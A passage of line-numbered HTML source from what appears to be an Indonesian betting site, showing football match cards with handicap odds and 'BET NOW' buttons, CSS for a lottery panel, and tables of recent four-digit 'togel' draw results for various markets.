2599 <span> 2600 0.5 <small>0.72</small> 2601 </span> 2602 </div> 2603 2604 <div class="odds-spacer"></div> 2605 2606 <div class="odds-col"> 2607 <span> 2608 -0.5 <small>-0.82</small> 2609 </span> 2610 </div> 2611 </div> 2612 </div> 2613 </div> 2614 </div> 2615 </div> 2616 <div class="carousel-item "> 2617 <div class="row g-3"> 2618 <div class="col-12"> 2619 <div class="match-card h-100"> 2620 <div class="league-name"> 2621 SPAIN LA LIGA </div> 2622 2623 <div class="kickoff-time"> 2624 October 11, 2026 â 02:00 WIB </div> 2625 2626 <div class="match-main-row"> 2627 <div class="team-col"> 2628 <img 2629 src="https://cdn.sportnanoapi.com/football/team/7dacaa934fe4be00f23c1e209b5ef947.png" 2630 alt="Real Madrid" 2631 class="team-logo" 2632 > 2633 <div class="team-name"> 2634 Real Madrid </div> 2635 </div> 2636 2637 <div class="score-col"> 2638 <div class="score-value"> 2639 0 : 0 </div> 2640 2641 <a href="javascript:void(0)" class="bet-btn" onclick="scrollToLoginForm('sbo', '147215615')"> 2642 BET NOW 2643 </a> 2644 </div> 2645 2646 <div class="team-col"> 2647 <img 2648 src="https://cdn.sportnanoapi.com/football/team/aee62af96a956756cc29fe4831286357.png" 2649 alt="Villarreal" 2650 class="team-logo" 2651 > 2652 <div class="team-name"> 2653 Villarreal </div> 2654 </div> 2655 </div> 2656 2657 <div class="match-odds-row"> 2658 <div class="odds-col">
2659 <span> 2660 1 <small>0.55</small> 2661 </span> 2662 </div> 2663 2664 <div class="odds-spacer"></div> 2665 2666 <div class="odds-col"> 2667 <span> 2668 -1 <small>-0.65</small> 2669 </span> 2670 </div> 2671 </div> 2672 </div> 2673 </div> 2674 </div> 2675 </div> 2676 <div class="carousel-item "> 2677 <div class="row g-3"> 2678 <div class="col-12"> 2679 <div class="match-card h-100"> 2680 <div class="league-name"> 2681 ITALY SERIE A </div> 2682 2683 <div class="kickoff-time"> 2684 October 10, 2026 â 22:59 WIB </div> 2685 2686 <div class="match-main-row"> 2687 <div class="team-col"> 2688 <img 2689 src="https://cdn.sportnanoapi.com/football/team/aa2245702c40f77799a5ad4b119581a8.png" 2690 alt="Inter Milan" 2691 class="team-logo" 2692 > 2693 <div class="team-name"> 2694 Inter Milan </div> 2695 </div> 2696 2697 <div class="score-col"> 2698 <div class="score-value"> 2699 0 : 0 </div> 2700 2701 <a href="javascript:void(0)" class="bet-btn" onclick="scrollToLoginForm('sbo', '145618118')"> 2702 BET NOW 2703 </a> 2704 </div> 2705 2706 <div class="team-col"> 2707 <img 2708 src="https://cdn.sportnanoapi.com/football/team/9fadd87d190982c8082dddf1567e0b9b.png" 2709 alt="Parma Calcio" 2710 class="team-logo" 2711 > 2712 <div class="team-name"> 2713 Parma Calcio </div> 2714 </div> 2715 </div> 2716 2717 <div class="match-odds-row"> 2718 <div class="odds-col">
2719 <span> 2720 2 <small>0.65</small> 2721 </span> 2722 </div> 2723 2724 <div class="odds-spacer"></div> 2725 2726 <div class="odds-col"> 2727 <span> 2728 -2 <small>-0.75</small> 2729 </span> 2730 </div> 2731 </div> 2732 </div> 2733 </div> 2734 </div> 2735 </div> 2736 <div class="carousel-item "> 2737 <div class="row g-3"> 2738 <div class="col-12"> 2739 <div class="match-card h-100"> 2740 <div class="league-name"> 2741 SPAIN LA LIGA </div> 2742 2743 <div class="kickoff-time"> 2744 October 10, 2026 â 19:00 WIB </div> 2745 2746 <div class="match-main-row"> 2747 <div class="team-col"> 2748 <img 2749 src="https://cdn.sportnanoapi.com/football/team/5005d8feab109ce64e40beb98073cc1f.png" 2750 alt="Rayo Vallecano" 2751 class="team-logo" 2752 > 2753 <div class="team-name"> 2754 Rayo Vallecano </div> 2755 </div> 2756 2757 <div class="score-col"> 2758 <div class="score-value"> 2759 0 : 0 </div> 2760 2761 <a href="javascript:void(0)" class="bet-btn" onclick="scrollToLoginForm('sbo', '147215614')"> 2762 BET NOW 2763 </a> 2764 </div> 2765 2766 <div class="team-col"> 2767 <img 2768 src="https://cdn.sportnanoapi.com/football/team/abbb31d42c55612737713aac6567a226.png" 2769 alt="Athletic Bilbao" 2770 class="team-logo" 2771 > 2772 <div class="team-name"> 2773 Athletic Bilbao </div> 2774 </div> 2775 </div> 2776 2777 <div class="match-odds-row"> 2778 <div class="odds-col">
2779 <span> 2780 0.00 <small>0.98</small> 2781 </span> 2782 </div> 2783 2784 <div class="odds-spacer"></div> 2785 2786 <div class="odds-col"> 2787 <span> 2788 0.00 <small>0.92</small> 2789 </span> 2790 </div> 2791 </div> 2792 </div> 2793 </div> 2794 </div> 2795 </div> 2796 <div class="carousel-item "> 2797 <div class="row g-3"> 2798 <div class="col-12"> 2799 <div class="match-card h-100"> 2800 <div class="league-name"> 2801 ENGLISH PREMIER LEAGUE </div> 2802 2803 <div class="kickoff-time"> 2804 October 11, 2026 â 22:30 WIB </div> 2805 2806 <div class="match-main-row"> 2807 <div class="team-col"> 2808 <img 2809 src="https://cdn.sportnanoapi.com/football/team/1cb3d08adac0e2dc1c4f10429d055bfe.png" 2810 alt="Liverpool" 2811 class="team-logo" 2812 > 2813 <div class="team-name"> 2814 Liverpool </div> 2815 </div> 2816 2817 <div class="score-col"> 2818 <div class="score-value"> 2819 0 : 0 </div> 2820 2821 <a href="javascript:void(0)" class="bet-btn" onclick="scrollToLoginForm('sbo', '145100751')"> 2822 BET NOW 2823 </a> 2824 </div> 2825 2826 <div class="team-col"> 2827 <img 2828 src="https://cdn.sportnanoapi.com/football/team/c4a6528a2ee147b99c9885ef24385a4e.png" 2829 alt="Manchester City" 2830 class="team-logo" 2831 > 2832 <div class="team-name"> 2833 Manchester City </div> 2834 </div> 2835 </div> 2836 2837 <div class="match-odds-row"> 2838 <div class="odds-col">
2839 <span> 2840 0.00 <small>-0.83</small> 2841 </span> 2842 </div> 2843 2844 <div class="odds-spacer"></div> 2845 2846 <div class="odds-col"> 2847 <span> 2848 0.00 <small>0.73</small> 2849 </span> 2850 </div> 2851 </div> 2852 </div> 2853 </div> 2854 </div> 2855 </div> 2856 </div> 2857 2858 <button class="carousel-control-prev" type="button" data-bs-target="#sboMatchCarouselMobile" data-bs-slide="prev"> 2859 <span class="carousel-control-prev-icon" aria-hidden="true"></span> 2860 <span class="visually-hidden">Previous</span> 2861 </button> 2862 2863 <button class="carousel-control-next" type="button" data-bs-target="#sboMatchCarouselMobile" data-bs-slide="next"> 2864 <span class="carousel-control-next-icon" aria-hidden="true"></span> 2865 <span class="visually-hidden">Next</span> 2866 </button> 2867 </div> 2868 </div> 2869 </div> 2870 <!-- BANNER SBO MOBILE END --> 2871 2872 2873 <!-- Togel --> 2874 2875 <style> 2876 .togel-desktop { 2877 /*background: var(--togel-background);*/ 2878 background: var(--footer-background); 2879 grid-area: togel-desktop; 2880 position: relative; 2881 } 2882 2883 .togel-mobile { 2884 display: none; 2885 } 2886 2887 .show-more { 2888 position: absolute; 2889 2890 z-index: 999; 2891 bottom: 0px; 2892 width: 100%; 2893 2894 /* background: linear-gradient(0deg, rgba(0,0,0,1) 0%, rgba(0,0,0,0.8) 30%, rgba(0,0,0,0) 60%, rgba(0,0,0,0)); */ 2895 } 2896 2897 .show-more-content { 2898 background: var(--secondary-background); 2899 opacity: .7; 2900 display: grid; 2901 place-items: center; 2902 height: 32px 2903 } 2904 2905 .togel-content { 2906 position: relative; 2907 display: flex; 2908 flex-wrap: wrap; 2909 justify-content: center; 2910 /*display: grid;*/ 2911 /*grid-template-columns: repeat(10, 1fr);*/ 2912 gap: 8px 4px; 2913 padding: 16px 0; 2914 } 2915 2916 .see-more { 2917 padding: 16px 0 48px 0; 2918 max-height: 162px; 2919 transition: max-height .75s ease-out; 2920 transition-delay: .1s; 2921 overflow: hidden; 2922 } 2923 2924 .togel-content:hover{ 2925 max-height: 1000px; 2926 transition: max-height 0.25s ease-in; 2927 } 2928 2929 .result { 2930 height: 110px; 2931 width: 96px; 2932 border-radius: 10px; 2933 background: var(--result-background); 2934 border: var(--result-border); 2935 2936 display: grid; 2937 grid-template-rows: 0px 20px 1fr 28px; 2938 grid-template-areas: 2939 "badge" 2940 "pasaran" 2941 "keluaran" 2942 "tanggal" 2943 ; 2944 2945 /* display: flex; 2946 flex-direction: column; 2947 justify-content: space-between; */ 2948 2949 overflow: hidden; 2950 } 2951 2952 .badge { 2953 grid-area: badge; 2954 display: grid; 2955 place-items: center; 2956 } 2957 2958 .result>.pasaran { 2959 2960 grid-area: pasaran; 2961 2962 padding-top: 8px; 2963 white-space: nowrap; 2964 font-size: .7rem; 2965 line-height: .7rem; 2966 2967 color: var(--result-pasaran-color); 2968 display: grid; 2969 place-items: center; 2970 } 2971 2972 .result>.keluaran { 2973 2974 grid-area: keluaran; 2975 padding-bottom: 8px; 2976 font-family: 'Oswald', sans-serif; 2977 line-height: 40px; 2978 font-size: 40px; 2979 color: var(--result-keluaran-color); 2980 display: grid; 2981 place-items: center; 2982 } 2983 2984 .result>.tanggal { 2985 2986 grid-area: tanggal; 2987 2988 width: 100%; 2989 height: 100%; 2990 /* background: rgb(40,0,0); 2991 background: linear-gradient(0deg, rgba(80,0,0,1) 0%, rgb(164, 2, 2) 100%); */ 2992 background: var(--result-tanggal-background); 2993 white-space: nowarp; 2994 font-size: .79rem; 2995 display: grid; 2996 place-items: center; 2997 font-family: 'Abel', sans-serif; 2998 color: var(--result-tanggal-color); 2999 } 3000 3001 @media only screen and (max-width: 1000px) { 3002 3003 .togel-desktop { 3004 display: none; 3005 } 3006 3007 .togel-mobile { 3008 3009 background: var(--secondary-background); 3010 grid-area: togel-mobile; 3011 padding: 24px; 3012 padding-bottom: 12px; 3013 box-shadow: rgba(0,0,0,1) 0px 0px 10px 0px; 3014 } 3015 3016 .togel-title { 3017 padding: 0px; 3018 padding-bottom: 20px; 3019 font-size: 1.4rem; 3020 font-weight: bold; 3021 color: var(--primary-text-color); 3022 } 3023 3024 .togel-content { 3025 max-height: fit-content; 3026 display: grid; 3027 grid-template-columns: 1fr; 3028 gap: 0; 3029 border-radius: 8px; 3030 } 3031 3032 3033 3034 .provider-group { 3035 padding: var(--mobile-padding-horizontal); 3036 } 3037 3038 .badge { 3039 display: none; 3040 } 3041 3042 .result { 3043 height: auto; 3044 width: 100%; 3045 display: grid; 3046 grid-template-rows: 1fr; 3047 grid-template-columns: 1fr 1fr 80px; 3048 grid-template-areas: "pasaran tanggal keluaran"; 3049 border-radius: 0; 3050 border: none; 3051 background: transparent; 3052 padding: 4px 12px; 3053 color: var(--primary-text-color); 3054 font-family: 'Abel', sans-serif; 3055 3056 } 3057 3058 3059 .result-data:nth-child(odd) { 3060 background: linear-gradient(0deg, rgba(255,255,255,0.1) 0%, rgba(255,255,255,0.1) 100%), var(--secondary-background); 3061 } 3062 3063 3064 .accordion-item { 3065 background-color: transparent; 3066 border: 0px; 3067 } 3068 3069 .accordion-button:not(.collapsed) { 3070 color: inherit; 3071 background-color: transparent; 3072 box-shadow: none; 3073 } 3074 3075 .accordion-button::after { 3076 height: 0px; 3077 } 3078 3079 .result>* { 3080 padding: 0px!important; 3081 margin: 0px!important; 3082 font-size: 1.4rem!important; 3083 line-height: auto!important; 3084 font-weight: normal!important; 3085 } 3086 3087 .result>.pasaran { 3088 display: flex; 3089 justify-content: start; 3090 color: var(--primary-text-color)!important; 3091 opacity: .7; 3092 } 3093 3094 .result>.tanggal { 3095 display: flex; 3096 justify-content: center; 3097 background: transparent; 3098 color: var(--primary-text-color)!important; 3099 opacity: .7; 3100 } 3101 3102 .result>.keluaran { 3103 display: flex; 3104 justify-content: end; 3105 /*color: var(--primary-text-color)!important;*/ 3106 font-family: 'Abel', sans-serif; 3107 color: var(--highlight-text-color); 3108 } 3109 3110 } 3111 </style> 3112 3113 3114 3115 <div id="togel-desktop" class="togel-desktop desktop-only"> 3116 3117 <div class="show-more desktop-only"> 3118 <div class="show-more-content"> 3119 <i class="bi bi-chevron-compact-down" style="font-size: 24px; line-height: 24px"></i> 3120 </div> 3121 </div> 3122 3123 3124 3125 <div class="togel-content see-more"> 3126 <!-- <a href="/?content=hasil&pid=HKD" class="result"> --> 3127 <a href="/hasil/HKD" class="result"> 3128 3129 <div class="badge"> 3130 </div> 3131 3132 <div class="pasaran">HK SIANG </div> 3133 <div class="keluaran">3738</div> 3134 <div class="tanggal"> 9/10/2026</div> 3135 </a> 3136 <!-- <a href="/?content=hasil&pid=SYL" class="result"> --> 3137 <a href="/hasil/SYL" class="result"> 3138 3139 <div class="badge"> 3140 </div> 3141 3142 <div class="pasaran">SYDNEY LOTTO </div> 3143 <div class="keluaran">0188</div> 3144 <div class="tanggal"> 9/10/2026</div> 3145 </a> 3146 <!-- <a href="/?content=hasil&pid=HAI" class="result"> --> 3147 <a href="/hasil/HAI" class="result"> 3148 3149 <div class="badge"> 3150 </div> 3151 3152 <div class="pasaran">HAIPHONG </div> 3153 <div class="keluaran">3871</div> 3154 <div class="tanggal"> 9/10/2026</div> 3155 </a> 3156 <!-- <a href="/?content=hasil&pid=SG" class="result"> --> 3157 <a href="/hasil/SG" class="result"> 3158 3159 <div class="badge"> 3160 </div> 3161 3162 <div class="pasaran">SINGAPORE </div> 3163 <div class="keluaran">2855</div> 3164 <div class="tanggal"> 8/10/2026</div> 3165 </a> 3166 <!-- <a href="/?content=hasil&pid=MY" class="result"> --> 3167 <a href="/hasil/MY" class="result"> 3168 3169 <div class="badge"> 3170 </div> 3171 3172 <div class="pasaran">MALAYSIA </div> 3173 <div class="keluaran">6034</div> 3174 <div class="tanggal"> 9/10/2026</div> 3175 </a> 3176 <!-- <a href="/?content=hasil&pid=JINAN" class="result"> --> 3177 <a href="/hasil/JINAN" class="result"> 3178 3179 <div class="badge"> 3180 </div> 3181 3182 <div class="pasaran">JINAN </div> 3183 <div class="keluaran">1195</div> 3184 <div class="tanggal"> 9/10/2026</div> 3185 </a> 3186 <!-- <a href="/?content=hasil&pid=QTR" class="result"> --> 3187 <a href="/hasil/QTR" class="result"> 3188 3189 <div class="badge"> 3190 </div> 3191 3192 <div class="pasaran">QATAR </div> 3193 <div class="keluaran">8696</div> 3194 <div class="tanggal"> 9/10/2026</div> 3195 </a> 3196 <!-- <a href="/?content=hasil&pid=BGP" class="result"> --> 3197 <a href="/hasil/BGP" class="result"> 3198 3199 <div class="badge"> 3200 </div> 3201 3202 <div class="pasaran">BOGOR </div> 3203 <div class="keluaran">5233</div> 3204 <div class="tanggal"> 9/10/2026</div> 3205 </a> 3206 <!-- <a href="/?content=hasil&pid=HKL" class="result"> --> 3207 <a href="/hasil/HKL" class="result"> 3208 3209 <div class="badge"> 3210 </div> 3211 3212 <div class="pasaran">HONGKONG LOTTO </div> 3213 <div class="keluaran">4650</div> 3214 <div class="tanggal"> 9/10/2026</div> 3215 </a> 3216 <!-- <a href="/?content=hasil&pid=TWH" class="result"> --> 3217 <a href="/hasil/TWH" class="result"> 3218 3219 <div class="badge"> 3220 </div> 3221 3222 <div class="pasaran">
3222TOTO WUHAN </div> 3223 <div class="keluaran">6536</div> 3224 <div class="tanggal"> 10/10/2026</div> 3225 </a> 3226 <!-- <a href="/?content=hasil&pid=TTM00" class="result"> --> 3227 <a href="/hasil/TTM00" class="result"> 3228 3229 <div class="badge"> 3230 </div> 3231 3232 <div class="pasaran">TOTO MACAU0000 </div> 3233 <div class="keluaran">2412</div> 3234 <div class="tanggal"> 9/10/2026</div> 3235 </a> 3236 <!-- <a href="/?content=hasil&pid=TTM13" class="result"> --> 3237 <a href="/hasil/TTM13" class="result"> 3238 3239 <div class="badge"> 3240 </div> 3241 3242 <div class="pasaran">TOTOMACAU1300 </div> 3243 <div class="keluaran">2582</div> 3244 <div class="tanggal"> 9/10/2026</div> 3245 </a> 3246 <!-- <a href="/?content=hasil&pid=TTM16" class="result"> --> 3247 <a href="/hasil/TTM16" class="result"> 3248 3249 <div class="badge"> 3250 </div> 3251 3252 <div class="pasaran">TOTOMACAU1600 </div> 3253 <div class="keluaran">1103</div> 3254 <div class="tanggal"> 9/10/2026</div> 3255 </a> 3256 <!-- <a href="/?content=hasil&pid=TTM19" class="result"> --> 3257 <a href="/hasil/TTM19" class="result"> 3258 3259 <div class="badge"> 3260 </div> 3261 3262 <div class="pasaran">TOTOMACAU1900 </div> 3263 <div class="keluaran">8919</div> 3264 <div class="tanggal"> 9/10/2026</div> 3265 </a> 3266 <!-- <a href="/?content=hasil&pid=TTM22" class="result"> --> 3267 <a href="/hasil/TTM22" class="result"> 3268 3269 <div class="badge"> 3270 </div> 3271 3272 <div class="pasaran">TOTOMACAU2200 </div> 3273 <div class="keluaran">6078</div> 3274 <div class="tanggal"> 9/10/2026</div> 3275 </a> 3276 <!-- <a href="/?content=hasil&pid=TTM23" class="result"> --> 3277 <a href="/hasil/TTM23" class="result"> 3278 3279 <div class="badge"> 3280 </div> 3281 3282 <div class="pasaran">TOTOMACAU2300 </div> 3283 <div class="keluaran">6884</div> 3284 <div class="tanggal"> 9/10/2026</div> 3285 </a> 3286 3287 </div> 3288 </div> 3289 3290 <div id="togel-mobile" class="togel-mobile mobile-only"> 3291 3292 <div class="togel-title">Togel Result</div> 3293 3294 3295 <div class="carousel slide p-0" data-bs-ride="carousel" style="min-height: 520px"> 3296 <div id="mobile-togel" class="carousel-indicators" style="margin-bottom: 0px"> 3297 3298 <button type="button" data-bs-target="#mobile-togel" data-bs-slide-to="0" class="active" aria-current="true" aria-label="Slide 1"></button> 3299 <button type="button" data-bs-target="#mobile-togel" data-bs-slide-to="1" aria-label="Slide 2"></button> 3300 3301 </div> 3302 <div class="carousel-inner"> 3303 3304 <div class='carousel-item accordion accordion-flush active'> <div class="result-data accordion-item"> 3305 <button class="result accordion-button" type="button" data-bs-toggle="collapse" data-bs-target="#paito-HKD"> 3306 <div class="badge"> 3307 </div> 3308 <div class="pasaran">HK SIANG </div> 3309 <div class="keluaran">3738</div> 3310 <div class="tanggal">09-10-2026</div> 3311 </button> 3312 <div id="paito-HKD" class="accordion-collapse collapse"> 3313 3314 <div class="result"> 3315 <div class="pasaran"></div> 3316 <div class="keluaran">1257</div> 3317 <div class="tanggal">08-10-2026</div> 3318 </div> 3319 3320 <div class="result"> 3321 <div class="pasaran"></div> 3322 <div class="keluaran">6727</div> 3323 <div class="tanggal">07-10-2026</div> 3324 </div> 3325 3326 <div class="result"> 3327 <div class="pasaran"></div> 3328 <div class="keluaran">4776</div> 3329 <div class="tanggal">06-10-2026</div> 3330 </div> 3331 3332 <div class="result"> 3333 <div class="pasaran"></div> 3334 <div class="keluaran">0870</div> 3335 <div class="tanggal">05-10-2026</div> 3336 </div> 3337 3338 <div class="result"> 3339 <div class="pasaran"></div> 3340 <div class="keluaran">3772</div> 3341 <div class="tanggal">04-10-2026</div> 3342 </div> 3343 3344 <div class="result"> 3345 <div class="pasaran"></div> 3346 <div class="keluaran">0546</div> 3347 <div class="tanggal">03-10-2026</div> 3348 </div> 3349 3350 <div class="result"> 3351 <div class="pasaran"></div> 3352 <div class="keluaran">7631</div> 3353 <div class="tanggal">02-10-2026</div> 3354 </div> 3355 </div> 3356 </div> 3357 3358 <div class="result-data accordion-item"> 3359 <button class="result accordion-button" type="button" data-bs-toggle="collapse" data-bs-target="#paito-SYL"> 3360 <div class="badge"> 3361 </div> 3362 <div class="pasaran">SYDNEY LOTTO </div> 3363 <div class="keluaran">0188</div> 3364 <div class="tanggal">09-10-2026</div> 3365 </button> 3366 <div id="paito-SYL" class="accordion-collapse collapse"> 3367 3368 <div class="result"> 3369 <div class="pasaran"></div> 3370 <div class="keluaran">2532</div> 3371 <div class="tanggal">08-10-2026</div> 3372 </div> 3373 3374 <div class="result"> 3375 <div class="pasaran"></div> 3376 <div class="keluaran">1832</div> 3377 <div class="tanggal">07-10-2026</div> 3378 </div> 3379 3380 <div class="result"> 3381 <div class="pasaran"></div> 3382 <div class="keluaran">3417</div> 3383 <div class="tanggal">06-10-2026</div> 3384 </div> 3385 3386 <div class="result"> 3387 <div class="pasaran"></div> 3388 <div class="keluaran">0672</div> 3389 <div class="tanggal">05-10-2026</div> 3390 </div> 3391 3392 <div class="result"> 3393 <div class="pasaran"></div> 3394 <div class="keluaran">0111</div> 3395 <div class="tanggal">04-10-2026</div> 3396 </div> 3397 3398 <div class="result"> 3399 <div class="pasaran"></div> 3400 <div class="keluaran">2503</div> 3401 <div class="tanggal">03-10-2026</div> 3402 </div> 3403 3404 <div class="result"> 3405 <div class="pasaran"></div> 3406 <div class="keluaran">2958</div> 3407 <div class="tanggal">02-10-2026</div> 3408 </div> 3409 </div> 3410 </div> 3411 3412 <div class="result-data accordion-item"> 3413 <button class="result accordion-button" type="button" data-bs-toggle="collapse" data-bs-target="#paito-HAI"> 3414 <div class="badge"> 3415 </div> 3416 <div class="pasaran">HAIPHONG </div> 3417 <div class="keluaran">3871</div> 3418 <div class="tanggal">09-10-2026</div> 3419 </button> 3420 <div id="paito-HAI" class="accordion-collapse collapse"> 3421 3422 <div class="result"> 3423 <div class="pasaran"></div> 3424 <div class="keluaran">0105</div> 3425 <div class="tanggal">08-10-2026</div> 3426 </div> 3427 3428 <div class="result"> 3429 <div class="pasaran"></div> 3430 <div class="keluaran">0525</div> 3431 <div class="tanggal">07-10-2026</div> 3432 </div> 3433 3434 <div class="result"> 3435 <div class="pasaran"></div> 3436 <div class="keluaran">0551</div> 3437 <div class="tanggal">06-10-2026</div> 3438 </div> 3439 3440 <div class="result"> 3441 <div class="pasaran"></div> 3442 <div class="keluaran">4249</div> 3443 <div class="tanggal">05-10-2026</div> 3444 </div> 3445 3446 <div class="result"> 3447 <div class="pasaran"></div> 3448 <div class="keluaran">7549</div> 3449 <div class="tanggal">04-10-2026</div> 3450 </div> 3451 3452 <div class="result"> 3453 <div class="pasaran"></div> 3454 <div class="keluaran">1138</div> 3455 <div class="tanggal">03-10-2026</div> 3456 </div> 3457 3458 <div class="result"> 3459 <div class="pasaran"></div> 3460 <div class="keluaran">3140</div> 3461 <div class="tanggal">02-10-2026</div> 3462 </div> 3463 </div> 3464 </div> 3465 3466 <div class="result-data accordion-item"> 3467 <button class="result accordion-button" type="button" data-bs-toggle="collapse" data-bs-target="#paito-SG"> 3468 <div class="badge"> 3469 </div> 3470 <div class="pasaran">SINGAPOR
3470E </div> 3471 <div class="keluaran">2855</div> 3472 <div class="tanggal">08-10-2026</div> 3473 </button> 3474 <div id="paito-SG" class="accordion-collapse collapse"> 3475 3476 <div class="result"> 3477 <div class="pasaran"></div> 3478 <div class="keluaran">9838</div> 3479 <div class="tanggal">07-10-2026</div> 3480 </div> 3481 3482 <div class="result"> 3483 <div class="pasaran"></div> 3484 <div class="keluaran">3897</div> 3485 <div class="tanggal">05-10-2026</div> 3486 </div> 3487 3488 <div class="result"> 3489 <div class="pasaran"></div> 3490 <div class="keluaran">2812</div> 3491 <div class="tanggal">04-10-2026</div> 3492 </div> 3493 3494 <div class="result"> 3495 <div class="pasaran"></div> 3496 <div class="keluaran">3670</div> 3497 <div class="tanggal">03-10-2026</div> 3498 </div> 3499 3500 <div class="result"> 3501 <div class="pasaran"></div> 3502 <div class="keluaran">9006</div> 3503 <div class="tanggal">01-10-2026</div> 3504 </div> 3505 3506 <div class="result"> 3507 <div class="pasaran"></div> 3508 <div class="keluaran">3096</div> 3509 <div class="tanggal">30-09-2026</div> 3510 </div> 3511 3512 <div class="result"> 3513 <div class="pasaran"></div> 3514 <div class="keluaran">7185</div> 3515 <div class="tanggal">28-09-2026</div> 3516 </div> 3517 </div> 3518 </div> 3519 3520 <div class="result-data accordion-item"> 3521 <button class="result accordion-button" type="button" data-bs-toggle="collapse" data-bs-target="#paito-MY"> 3522 <div class="badge"> 3523 </div> 3524 <div class="pasaran">MALAYSIA </div> 3525 <div class="keluaran">6034</div> 3526 <div class="tanggal">09-10-2026</div> 3527 </button> 3528 <div id="paito-MY" class="accordion-collapse collapse"> 3529 3530 <div class="result"> 3531 <div class="pasaran"></div> 3532 <div class="keluaran">2991</div> 3533 <div class="tanggal">08-10-2026</div> 3534 </div> 3535 3536 <div class="result"> 3537 <div class="pasaran"></div> 3538 <div class="keluaran">3932</div> 3539 <div class="tanggal">07-10-2026</div> 3540 </div> 3541 3542 <div class="result"> 3543 <div class="pasaran"></div> 3544 <div class="keluaran">4883</div> 3545 <div class="tanggal">06-10-2026</div> 3546 </div> 3547 3548 <div class="result"> 3549 <div class="pasaran"></div> 3550 <div class="keluaran">4639</div> 3551 <div class="tanggal">05-10-2026</div> 3552 </div> 3553 3554 <div class="result"> 3555 <div class="pasaran"></div> 3556 <div class="keluaran">4920</div> 3557 <div class="tanggal">04-10-2026</div> 3558 </div> 3559 3560 <div class="result"> 3561 <div class="pasaran"></div> 3562 <div class="keluaran">8849</div> 3563 <div class="tanggal">03-10-2026</div> 3564 </div> 3565 3566 <div class="result"> 3567 <div class="pasaran"></div> 3568 <div class="keluaran">
35687141</div> 3569 <div class="tanggal">02-10-2026</div> 3570 </div> 3571 </div> 3572 </div> 3573 3574 <div class="result-data accordion-item"> 3575 <button class="result accordion-button" type="button" data-bs-toggle="collapse" data-bs-target="#paito-JINAN"> 3576 <div class="badge"> 3577 </div> 3578 <div class="pasaran">JINAN </div> 3579 <div class="keluaran">1195</div> 3580 <div class="tanggal">09-10-2026</div> 3581 </button> 3582 <div id="paito-JINAN" class="accordion-collapse collapse"> 3583 3584 <div class="result"> 3585 <div class="pasaran"></div> 3586 <div class="keluaran">2308</div> 3587 <div class="tanggal">08-10-2026</div> 3588 </div> 3589 3590 <div class="result"> 3591 <div class="pasaran"></div> 3592 <div class="keluaran">7741</div> 3593 <div class="tanggal">07-10-2026</div> 3594 </div> 3595 3596 <div class="result"> 3597 <div class="pasaran"></div> 3598 <div class="keluaran">6704</div> 3599 <div class="tanggal">06-10-2026</div> 3600 </div> 3601 3602 <div class="result"> 3603 <div class="pasaran"></div> 3604 <div class="keluaran">0162</div> 3605 <div class="tanggal">05-10-2026</div> 3606 </div> 3607 3608 <div class="result"> 3609 <div class="pasaran"></div> 3610 <div class="keluaran">6234</div> 3611 <div class="tanggal">04-10-2026</div> 3612 </div> 3613 3614 <div class="result"> 3615 <div class="pasaran"></div> 3616 <div class="keluaran">1768</div> 3617 <div class="tanggal">03-10-2026</div> 3618 </div> 3619 3620 <div class="result"> 3621 <div class="pasaran"></div> 3622 <div class="keluaran">6039</div> 3623 <div class="tanggal">02-10-2026</div> 3624 </div> 3625 </div> 3626 </div> 3627 3628 <div class="result-data accordion-item"> 3629 <button class="result accordion-button" type="button" data-bs-toggle="collapse" data-bs-target="#paito-QTR"> 3630 <div class="badge"> 3631 </div> 3632 <div class="pasaran">QATAR </div> 3633 <div class="keluaran">8696</div> 3634 <div class="tanggal">09-10-2026</div> 3635 </button> 3636 <div id="paito-QTR" class="accordion-collapse collapse"> 3637 3638 <div class="result"> 3639 <div class="pasaran"></div> 3640 <div class="keluaran">8317</div> 3641 <div class="tanggal">08-10-2026</div> 3642 </div> 3643 3644 <div class="result"> 3645 <div class="pasaran"></div> 3646 <div class="keluaran">9915</div> 3647 <div class="tanggal">07-10-2026</div> 3648 </div> 3649 3650 <div class="result"> 3651 <div class="pasaran"></div> 3652 <div class="keluaran">5740</div> 3653 <div class="tanggal">06-10-2026</div> 3654 </div> 3655 3656 <div class="result"> 3657 <div class="pasaran"></div> 3658 <div class="keluaran">8643</div> 3659 <div class="tanggal">05-10-2026</div> 3660 </div> 3661 3662 <div class="result"> 3663 <div class="pasaran"></div> 3664 <div class="keluaran">0646</div> 3665 <div class="tanggal">04-10-2026</div> 3666 </div> 3667 3668 <div class="result"> 3669 <div class="pasaran"></div> 3670 <div class="keluaran">7691</div> 3671 <div class="tanggal">03-10-2026</div> 3672 </div> 3673 3674 <div class="result"> 3675 <div class="pasaran"></div> 3676 <div class="keluaran">3505</div> 3677 <div class="tanggal">02-10-2026</div> 3678 </div> 3679 </div> 3680 </div> 3681 3682 <div class="result-data accordion-item"> 3683 <button class="result accordion-button" type="button" data-bs-toggle="collapse" data-bs-target="#paito-BGP"> 3684 <div class="badge"> 3685 </div> 3686 <div class="pasaran">BOGOR </div> 3687 <div class="keluaran">5233</div> 3688 <div class="tanggal">09-10-2026</div> 3689 </button> 3690 <div id="paito-BGP" class="accordion-collapse collapse"> 3691 3692 <div class="result"> 3693 <div class="pasaran"></div> 3694 <div class="keluaran">3188</div> 3695 <div class="tanggal">08-10-2026</div> 3696 </div> 3697 3698 <div class="result"> 3699 <div class="pasaran"></div> 3700 <div class="keluaran">0438</div> 3701 <div class="tanggal">07-10-2026</div> 3702 </div> 3703 3704 <div class="result"> 3705 <div class="pasaran"></div> 3706 <div class="keluaran">0188</div> 3707 <div class="tanggal">06-10-2026</div> 3708 </div> 3709 3710 <div class="result"> 3711 <div class="pasaran"></div> 3712 <div class="keluaran">1029</div> 3713 <div class="tanggal">05-10-2026</div> 3714 </div> 3715 3716 <div class="result"> 3717 <div class="pasaran"></div> 3718 <div class="keluaran">9860</div> 3719 <div class="tanggal">04-10-2026</div> 3720 </div> 3721 3722 <div class="result"> 3723 <div class="pasaran"></div> 3724 <div class="keluaran">1320</div> 3725 <div class="tanggal">03-10-2026</div> 3726 </div> 3727 3728 <div class="result"> 3729 <div class="pasaran"></div> 3730 <div class="keluaran">1199</div> 3731 <div class="tanggal">02-10-2026</div> 3732 </div> 3733 </div> 3734 </div> 3735 3736 <div class="result-data accordion-item"> 3737 <button class="result accordion-button" type="button" data-bs-toggle="collapse" data-bs-target="#paito-HKL"> 3738 <div class="badge"> 3739 </div> 3740 <div class="pasaran">HONGKONG LOTTO </div> 3741 <div class="keluaran">4650</div> 3742 <div class="tanggal">09-10-2026</div> 3743 </button> 3744 <div id="paito-HKL" class="accordion-collapse collapse"> 3745 3746 <div 